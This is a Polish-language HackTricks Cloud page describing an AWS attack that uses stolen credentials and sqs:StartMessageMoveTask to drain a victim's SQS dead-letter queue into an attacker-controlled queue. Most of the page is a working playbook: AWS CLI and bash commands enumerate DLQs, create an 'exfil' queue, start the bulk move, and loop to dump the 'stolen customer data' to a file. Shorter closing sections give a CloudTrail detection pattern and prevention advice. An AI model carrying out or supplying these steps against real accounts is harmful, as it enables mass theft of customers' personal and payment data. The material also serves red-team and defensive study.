AWS – Eksfiltracja wiadomości z DLQ SQS przez StartMessageMoveTask
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Opis
Wykorzystaj zadania przenoszenia wiadomości SQS, aby wykraść wszystkie zgromadzone wiadomości z Dead-Letter Queue (DLQ) ofiary, przekierowując je do kolejki kontrolowanej przez atakującego za pomocą sqs:StartMessageMoveTask. Ta technika wykorzystuje natywną funkcję odzyskiwania wiadomości AWS do eksfiltracji wrażliwych danych, które gromadziły się w DLQ przez czas.
Czym jest Dead-Letter Queue (DLQ)?
Dead-Letter Queue to specjalna kolejka SQS, do której wiadomości są automatycznie wysyłane, gdy nie uda się ich poprawnie przetworzyć w aplikacji głównej. Te nieudane wiadomości często zawierają:
- Wrażliwe dane aplikacji, których nie udało się przetworzyć
- Szczegóły błędów i informacje debugujące
- Dane osobowe (PII)
- Tokeny API, poświadczenia lub inne sekrety
- Krytyczne dla biznesu dane transakcyjne
DLQ działają jak “cmentarz” dla nieudanych wiadomości, co czyni je cennymi celami, ponieważ z upływem czasu gromadzą wrażliwe dane, z którymi aplikacje nie poradziły sobie poprawnie.
Scenariusz ataku
Przykład z rzeczywistości:
- Aplikacja e-commerce przetwarza zamówienia klientów za pomocą SQS
- Niektóre zamówienia nie powiodą się (problemy z płatnością, problemy z magazynem, itd.) i trafiają do DLQ
- DLQ gromadzi tygodnie/miesiące nieudanych zamówień zawierających dane klientów: {“customerId”: “12345”, “creditCard”: “4111-1111-1111-1111”, “orderTotal”: “$500”}
- Atakujący uzyskuje dostęp do poświadczeń AWS z uprawnieniami SQS
- Atakujący odkrywa, że DLQ zawiera tysiące nieudanych zamówień z wrażliwymi danymi
- Zamiast próbować uzyskać dostęp do pojedynczych wiadomości (wolne i oczywiste), atakujący używa
StartMessageMoveTaskdo masowego przeniesienia WSZYSTKICH wiadomości do własnej kolejki - Atakujący wydobywa wszystkie historyczne wrażliwe dane w jednej operacji
Wymagania
- Kolejka źródłowa musi być skonfigurowana jako DLQ (referencjonowana przez co najmniej jedną politykę RedrivePolicy).
- Uprawnienia IAM (działające jako skompromitowany principal ofiary):
- Na DLQ (źródło):
sqs:StartMessageMoveTask,sqs:GetQueueAttributes. - Na kolejce docelowej: uprawnienie do dostarczania wiadomości (np. polityka kolejki zezwalająca
sqs:SendMessageod principal ofiary). Dla kolejek w tym samym koncie zwykle dozwolone domyślnie. - Jeśli SSE-KMS jest włączone: na źródłowym CMK
kms:Decrypt, a na docelowym CMKkms:GenerateDataKey,kms:Encrypt.
Wpływ
Potencjalny wpływ: Eksfiltracja wrażliwych payloadów zgromadzonych w DLQ (nieudane zdarzenia, PII, tokeny, payloady aplikacji) z dużą prędkością przy użyciu natywnych API SQS. Działa między kontami, jeśli polityka kolejki docelowej pozwala SendMessage od principal ofiary.
Jak wykorzystać
- Zidentyfikuj ARN DLQ ofiary i upewnij się, że jest faktycznie referencjonowany jako DLQ przez jakąś kolejkę (dowolna kolejka wystarczy).
- Utwórz albo wybierz kolejkę docelową kontrolowaną przez atakującego i uzyskaj jej ARN.
- Uruchom zadanie przenoszenia wiadomości z DLQ ofiary do swojej kolejki docelowej.
- Monitoruj postęp lub anuluj w razie potrzeby.
Przykład CLI: Eksfiltracja danych klientów z DLQ aplikacji e-commerce
Scenariusz: Atakujący skompromitował poświadczenia AWS i odkrył, że aplikacja e-commerce używa SQS z DLQ zawierającym nieudane próby przetwarzania zamówień klientów.
- Odkryj i zbadaj DLQ ofiary
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq
# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
# Check how many messages are in the DLQ (potential treasure trove!)
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
- Utwórz kolejkę docelową kontrolowaną przez atakującego
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
- Przeprowadź masowe wykradanie wiadomości
# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
TASK_RESPONSE=$(aws sqs start-message-move-task \
--source-arn "$SRC_ARN" \
--destination-arn "$ATTACKER_Q_ARN" \
--max-number-of-messages-per-second 100)
echo "Move task started: $TASK_RESPONSE"
# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
- Zbierz skradzione wrażliwe dane
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--attribute-names All --message-attribute-names All \
--max-number-of-messages 10 --wait-time-seconds 5
# Example of what an attacker might see:
# {
# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
# "MessageId": "12345-abcd-6789-efgh"
# }
# Continue receiving all messages in batches
while true; do
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--max-number-of-messages 10 --wait-time-seconds 2 --output json)
if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
echo "No more messages - exfiltration complete!"
break
fi
echo "Received batch of stolen data..."
# Process/save the stolen customer data
echo "$MESSAGES" >> stolen_customer_data.json
done
Uwagi dotyczące dostępu między kontami
- Kolejka docelowa musi mieć politykę zasobów pozwalającą principalowi ofiary na
sqs:SendMessage(oraz, jeśli używane, granty/pozwolenia KMS).
Dlaczego ten atak jest skuteczny
- Natywna funkcja AWS: Wykorzystuje wbudowaną funkcjonalność AWS, co utrudnia wykrycie jako złośliwe
- Operacja hurtowa: Przenosi tysiące wiadomości szybko zamiast powolnego pobierania pojedynczych wiadomości
- Dane historyczne: DLQs gromadzą wrażliwe dane przez tygodnie/miesiące
- Poza radarem: Wiele organizacji nie monitoruje dostępu do DLQ uważnie
- Możliwość działania międzykontowego: Można wyeksfiltrować do własnego konta AWS atakującego, jeśli uprawnienia na to pozwalają
Wykrywanie i zapobieganie
Wykrywanie
Monitoruj CloudTrail pod kątem podejrzanych wywołań API StartMessageMoveTask:
{
"eventName": "StartMessageMoveTask",
"sourceIPAddress": "suspicious-ip",
"userIdentity": {
"type": "IAMUser",
"userName": "compromised-user"
},
"requestParameters": {
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
}
}
Zapobieganie
- Zasada najmniejszych uprawnień: Ogranicz uprawnienia
sqs:StartMessageMoveTasktylko do niezbędnych ról - Monitoruj DLQs: Skonfiguruj alarmy CloudWatch dla nietypowej aktywności w DLQs
- Polityki międzykontowe: Dokładnie przejrzyj polityki kolejek SQS zezwalające na dostęp międzykontowy
- Szyfruj DLQs: Użyj SSE-KMS z ograniczonymi politykami kluczy
- Regularne czyszczenie: Nie pozwalaj, aby wrażliwe dane gromadziły się w DLQs bezterminowo
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

